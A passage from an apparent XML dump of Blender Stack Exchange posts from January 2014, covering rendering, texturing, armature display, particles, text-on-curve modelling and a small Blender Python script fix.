OwnerUserId="1603" LastActivityDate="2014-10-03T01:34:46.377" Title="Texture painting without rendering vertex paint" Tags="&lt;vertex-colors&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6209" PostTypeId="1" AcceptedAnswerId="6278" CreationDate="2014-01-12T18:53:33.027" Score="9" ViewCount="10608" Body="&lt;p&gt;I'm using Blender Internal due to its object outline effect, and am trying to use a 1800 degree environment map for the reflections (not lighting). I'm trying what seems like should work, and am failing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the tutorials for this are in Cycles, which is handled easily, can anyone tell me how to do it in Blender 2.6+ Internal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDITS: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is really just &quot;How do I apply an environment map in Blender Internal?&quot;; the perspective of the environment map is trivial to the question. &lt;/p&gt;&#xA;" OwnerUserId="2131" LastEditorDisplayName="user1853" LastEditDate="2015-11-04T18:31:54.217" LastActivityDate="2019-06-05T15:02:23.613" Title="How do I apply an environment map in Blender Internal?" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6210" PostTypeId="1" AcceptedAnswerId="6247" CreationDate="2014-01-12T19:20:42.083" Score="5" ViewCount="8858" Body="&lt;p&gt;How can I make a mesh &quot;look 3D printed&quot;, i.e. you can see the layers. e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AXsjI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You see all those layers? How can one do this? Maybe a bump map? or is there an option to separate a mesh into pieces, i.e. explode it?&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="2217" LastEditDate="2014-03-30T02:32:23.053" LastActivityDate="2017-03-11T18:02:12.377" Title="How to make a mesh look like it was 3D printed" Tags="&lt;texturing&gt;&lt;shaders&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6212" PostTypeId="2" ParentId="6195" CreationDate="2014-01-12T21:27:35.110" Score="5" Body="&lt;p&gt;That image was created with a bunch of overlapping transparent planes which were created by extruding parts of a circle:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a circle (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Mesh &amp;gt; Circle&lt;/em&gt;. Note that you may want to increase the &lt;em&gt;Vertices&lt;/em&gt; in the redo menu for a smother curve.) Then delete some of the vertices so you only have part of a circle:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WQNLM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude (&lt;kbd&gt;E&lt;/kbd&gt;) and cancel the transform to leave the extruded vertices where they are (&lt;kbd&gt;Esc&lt;/kbd&gt;). Then scale along the normals with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; so you have this shape:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fqd8M.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat steps 1 and 2 varying the amount of vertices you delete from the circle until you have several different sizes. Then duplicate (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;) rotate (&lt;kbd&gt;R&lt;/kbd&gt;) them around (make sure you move them slightly on the Z axis to avoid Z-fighting) so you have something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/phk9e.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate and rotate the entire bunch a couple times for good measure (again moving on the Z-axis) and add a couple circles for effect:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qpq80.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a material for additive blending (see &lt;a href=&quot;https://blender.stackexchange.com/q/5331/599&quot;&gt;How to get additive blending in cycles?&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/woIft.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Insert a rotation keyframe for all of them (press &lt;kbd&gt;I&lt;/kbd&gt;&lt;em&gt;&amp;gt; Rotation&lt;/em&gt; to insert a keyframe on the selected objects), then go to a later frame and run &lt;em&gt;Randomize Transform&lt;/em&gt; (&lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&amp;gt; Search &amp;gt; Randomize Transform&lt;/em&gt;). In the &lt;em&gt;Redo menu&lt;/em&gt; at the bottom of the &lt;em&gt;Tool shelf&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt; in the &lt;em&gt;3D view&lt;/em&gt;), Enable &lt;em&gt;Randomize Rotation&lt;/em&gt; and set the Z to 180. Then insert another &lt;em&gt;Rotation keyframe&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=65211&quot; rel=&quot;nofollow noreferrer&quot;&gt;animated gif http://www.pasteall.org/pic/show.php?id=65211&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/26233&quot; rel=&quot;nofollow noreferrer&quot;&gt;blendfile&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-12T21:27:35.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6213" PostTypeId="1" AcceptedAnswerId="6214" CreationDate="2014-01-12T21:57:08.877" Score="4" ViewCount="907" Body="&lt;p&gt;I have a box with a volume material applied, affecting its density.  However, when I render the scene, the shadow of the box is still in the scene. Here is the image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/8ZYMS72.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering how to either disable the shadows for that box specifically (in case there are other objects in the scene) or to make the light cast volume shadows based on the density inside the box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2014-01-12T22:15:10.967" Title="How to have volume material cast shadows?" Tags="&lt;rendering&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6214" PostTypeId="2" ParentId="6213" CreationDate="2014-01-12T22:06:25.447" Score="4" Body="&lt;p&gt;You have to enable &lt;em&gt;Receive transparent&lt;/em&gt; in the material settings of the floor plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ihlBQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o7CQB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-12T22:15:10.967" LastActivityDate="2014-01-12T22:15:10.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6215" PostTypeId="1" AcceptedAnswerId="6218" CreationDate="2014-01-13T00:32:20.423" Score="4" ViewCount="26165" Body="&lt;p&gt;I want to be able to do is change the size of the big bone a bit so I can actually see what I'm animating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to wireframe the armature so I can see the hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in other words, I want to be able to see the fingers, making the whole armature a lot thinner but not bigger or longer, and the then be able to see through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2LWvz.png&quot; alt=&quot;Big Bone over sized?&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-01-13T02:51:02.033" LastActivityDate="2014-01-13T08:25:50.317" Title="Change size of armature bones?" Tags="&lt;3d-view&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6216" PostTypeId="1" AcceptedAnswerId="6547" CreationDate="2014-01-13T02:08:59.540" Score="5" ViewCount="2367" Body="&lt;p&gt;I have had this problem before and it's starting to happen again, but with a different mesh. &#xA;Note that it is scaled up a tiny bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create a new action called reload and animate only the hands it works, but as soon as I click on a different object and move the timeline bar it deforms &lt;strong&gt;everything&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u9Wh3.png&quot; alt=&quot;click the timeline and move it a bit...&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no object constraints on anything and there is only one armature modifier on the arm. Other than that I have nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=eTaR7jnJ1-o&amp;amp;feature=c4-overview&amp;amp;list=UU28bfUuaupS-1mzytSUmlrw&quot; rel=&quot;nofollow noreferrer&quot;&gt;YouTube video demonstrating the problem&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-01-20T08:00:21.840" LastActivityDate="2014-01-27T00:15:29.813" Title="Strange mesh deformation when using the action editor?" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6217" PostTypeId="2" ParentId="6215" CreationDate="2014-01-13T02:38:00.647" Score="10" Body="&lt;p&gt;To adjust the size of the &lt;em&gt;B-Bone&lt;/em&gt; display type in Blender, enter &lt;em&gt;Edit&lt;/em&gt; mode and use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;. It will scale while keeping it constrained. To scale on a specific axis, select the desired axis after triggering this with &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-01-13T02:38:00.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6218" PostTypeId="2" ParentId="6215" CreationDate="2014-01-13T02:42:39.890" Score="1" Body="&lt;p&gt;To make it see-through, you can change the armature's &lt;em&gt;Maximum draw type&lt;/em&gt; to &lt;em&gt;Wire&lt;/em&gt; in &lt;em&gt;Properties &gt; Object &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AZMTQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to disable &lt;em&gt;X-ray&lt;/em&gt; in the same panel so the armature is not displayed when it it is behind or inside other geometry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B1A95.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-13T03:02:59.307" LastActivityDate="2014-01-13T03:02:59.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6219" PostTypeId="1" AcceptedAnswerId="6235" CreationDate="2014-01-13T04:03:44.290" Score="2" ViewCount="3197" Body="&lt;p&gt;I was trying to make fire on blender and i got a problem with the particles , I know that particles size can be changed from the physics panel throw the size value but it doesnt work , any idea why ? is there other way to change the size ?&#xA;Thz , if u need more info tell me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think a picture should help&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xixLK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want those shiny particles to be smaller and orange, how do i do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xWPDe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to change the size from the material, but it doesnt respond , neither to the color , maybe i did it wrong ? Where do i have to create the material ?&lt;/p&gt;&#xA;" OwnerDisplayName="user2087" LastEditorDisplayName="user2087" LastEditDate="2014-01-13T17:04:01.840" LastActivityDate="2014-01-13T17:50:42.503" Title="How to change particle size?" Tags="&lt;particles&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6220" PostTypeId="1" CreationDate="2014-01-13T05:15:23.777" Score="2" ViewCount="247" Body="&lt;p&gt;I wanted to pack all UV islands from separated meshes at the same time &#xA;while the Draw other Objects function is activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already know the function to join the meshes with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;, but I get size changes when importing that mesh into the other tool. It is crucial for the other programs I use that the meshes don't get altered (aka joined).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a function to pack all Islands from the meshes with the given limitation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CrAM8.png&quot; alt=&quot;can&amp;#39;t pack all UV islands from separated Meshes.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1436" LastEditorUserId="599" LastEditDate="2014-01-15T07:53:41.930" LastActivityDate="2014-01-15T07:53:41.930" Title="Packing all UV Islands when Draw Other Objects is activated?" Tags="&lt;uv&gt;&lt;export&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6221" PostTypeId="1" AcceptedAnswerId="6232" CreationDate="2014-01-13T06:10:30.127" Score="6" ViewCount="4404" Body="&lt;p&gt;Dyanmic Paint has two possibilities for the &quot;Format&quot;: Vertex and Image Sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fHAZ0.png&quot; alt=&quot;Two options for dynamic paint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been able to do it with Vertex, but when I do it with the Image Sequence setting, I'm able to output the .png files successfully, but when I render, I don't see any paint.  &lt;strong&gt;Could someone walk me through the steps involved&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My scene has just the default cube (set to Brush under Dynamic Paint settings) and a plane scaled up 5 times (set to Canvas).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vbSro.png&quot; alt=&quot;Scene Setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using Blender Internal render if that makes a difference)&#xA;(Blender 2.69)&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2014-01-13T09:59:56.630" LastActivityDate="2014-08-04T15:13:49.427" Title="How do I use Dynamic Paint with the Image Sequence setting?" Tags="&lt;dynamic-paint&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6222" PostTypeId="2" ParentId="6205" CreationDate="2014-01-13T07:08:21.697" Score="12" Body="&lt;p&gt;In the VSE the video and audio tracks are separated and use different ways to measure length. Video is measured in frames while sound is in seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjusting the frame rate of the video will alter the playback length of the video but the audio will always take the same amount of time to play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example a short video at 24 fps needs 2763 frames to play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A4SbD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By changing the frame rate to 25 fps the video remains at 2763 frames but the audio length extends to 2879 frames to maintain the same length in seconds. This will gradually put the audio out of sync with the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9KFqK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to make sure that the frame rate in the render settings matches the original frame rate of the video so that it's playback time matches the audio length.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-01-13T07:08:21.697" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6223" PostTypeId="2" ParentId="6206" CreationDate="2014-01-13T07:24:38.023" Score="1" Body="&lt;p&gt;You need to make two small changes to make your script run - add &lt;code&gt;import random&lt;/code&gt; and the call to &lt;code&gt;random.choice&lt;/code&gt; you have the function brackets and array brackets back to front.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;...&#xA;...&#xA;...&#xA;scale = random.choice([0,0.33,0.66])&#xA;bpy.ops.transform.resize(value=(1, 1, 1*scale))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also I think the end result may not be what you are after, I expect you want to move the random size into the column creation to make each column a different size.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-01-13T07:24:38.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6224" PostTypeId="2" ParentId="6127" CreationDate="2014-01-13T07:31:32.150" Score="2" Body="&lt;p&gt;I have come up with a hack to fake AO in the viewport using negative lamps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OcXsd.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OcXsd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way this works is with a negative point lamp parented at the center of each cube, and an array of negative point lamps below the floor plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W722s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the floor it would be more ideal to use an area lamp, however these are only supported in the &lt;a href=&quot;http://graphicall.org/885&quot; rel=&quot;nofollow noreferrer&quot;&gt;BGE candy branch&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The world is set to &lt;em&gt;Paper&lt;/em&gt; with a pure white &lt;em&gt;Horizon Color&lt;/em&gt;. The &lt;em&gt;Ambient color&lt;/em&gt; is also set to white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;GLSL&lt;/em&gt; shading and &lt;em&gt;Only Render&lt;/em&gt; are also enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/26239&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Blendfile&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-13T07:31:32.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6225" PostTypeId="2" ParentId="6215" CreationDate="2014-01-13T08:25:50.317" Score="4" Body="&lt;p&gt;There are several options available to alter the display of an armature. &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Armatures/Visualization&quot; rel=&quot;nofollow noreferrer&quot;&gt;See the manual for more detail&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option that reduces the visible size of the armature is to use Stick display, this is available in the Armature display options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oXeaO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which makes the armature look like this -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bDYTO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use any mesh object in place of a single bone to make each part of the armature unique. You also have the option of displaying these objects as wireframe only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pk3Vo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This last option is very common, an example is the hand rig generated by the metarig addon which gives you this appearance for a hand -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sbb6H.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-01-13T08:25:50.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6226" PostTypeId="1" AcceptedAnswerId="6228" CreationDate="2014-01-13T08:35:36.117" Score="15" ViewCount="33146" Body="&lt;p&gt;What's the simplest way to wrap extruded text around a cylinder that has a specific radius (for example, the label on a can of baked beans)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the &lt;code&gt;Simple Deform&lt;/code&gt; modifier, but that (a) doesn't allow you to choose a radius and (b) requires the text to be converted to a curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to model a cylinder with radius of 30, which has a line of embossed text that runs around the curved side, facing outward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2018-09-01T13:20:00.443" Title="What's the simplest way to wrap extruded text around a cylinder?" Tags="&lt;modeling&gt;&lt;text-object&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6227" PostTypeId="2" ParentId="6226" CreationDate="2014-01-13T09:18:50.253" Score="4" Body="&lt;p&gt;You could simply add BezierCircle to the scene and add a &lt;em&gt;Curve Modifier&lt;/em&gt; to text object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lGIvw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-01-13T09:18:50.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6228" PostTypeId="2" ParentId="6226" CreationDate="2014-01-13T09:19:10.003" Score="20" Body="&lt;p&gt;Try using a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Curve&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Curve modifier&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add curve circle (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Curve Circle&lt;/em&gt;) and set the radius as desired in the &lt;em&gt;Redo menu&lt;/em&gt; (at the bottom of the &lt;em&gt;Tool Shelf&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Gari.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the text object (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Text&lt;/em&gt;) and type in your text (&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;em&gt;&gt; Edit mode&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4qyKO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Curve&quot; rel=&quot;noreferrer&quot;&gt;curve modifier&lt;/a&gt;&lt;/em&gt; to the text object in &lt;em&gt;Properties &gt; Modifiers&lt;/em&gt;, and set the &lt;em&gt;Object&lt;/em&gt; to be your curve circle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0JSzG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotate the text object &lt;code&gt;90&lt;/code&gt; degrees on the X axis (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;90&lt;/kbd&gt;) and then scale by &lt;code&gt;-1&lt;/code&gt; again on the X (&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;-1&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WtFcu.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the &lt;em&gt;Extrude&lt;/em&gt; value in &lt;em&gt;Properties &gt; Text &gt; Geometry&lt;/em&gt; to give the text some thickness:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KnZzi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optionally increase the &lt;em&gt;Depth&lt;/em&gt; and &lt;em&gt;Resolution&lt;/em&gt; values for &lt;em&gt;Bevel&lt;/em&gt; to round the edges a bit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bhsy5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-13T09:38:27.490" LastActivityDate="2014-01-13T09:38:27.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6229" PostTypeId="1" AcceptedAnswerId="6261" CreationDate="2014-01-13T09:58:45.280" Score="2" ViewCount="802" Body="&lt;p&gt;If I just start up my &lt;a href=&quot;http://www.pasteall.org/blend/26248&quot; rel=&quot;nofollow&quot;&gt;default startup file&lt;/a&gt; and render an animation, the previous frame is always replaced with a blank transparent checked pattern before the next frame starts rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in &lt;a href=&quot;http://www.pasteall.org/blend/26233&quot; rel=&quot;nofollow&quot;&gt;this file&lt;/a&gt; the next frame is displayed as rendering over the previous frame.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also noticed that in the file linked above some tiles will briefly appear transparent (checkered) before rendering, however others do not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this?&lt;br&gt;&#xA;Is there some setting I don't know about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible I could render animations without anything appearing transparent?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-13T19:35:49.370" LastActivityDate="2014-01-14T11:26:50.573" Title="Why does the previous frame sometimes get displayed as transparency when rendering animations?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6230" PostTypeId="1" AcceptedAnswerId="6242" CreationDate="2014-01-13T10:07:04.173" Score="2" ViewCount="163" Body="&lt;p&gt;Yes, I know, &lt;em&gt;Add &gt; Metaball &gt; Plane&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I make a large plane?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scaling it affects all meta objects in the scene.&#xA;I thought of connecting a bunch of meta planes together, however this isn't a perfect solution as it's a little bumpy (and if you need a really big plane it won't help your framerate)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yoRO9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-13T19:41:47.467" Title="Is it possible to make a plane out of meta objects?" Tags="&lt;meta-objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
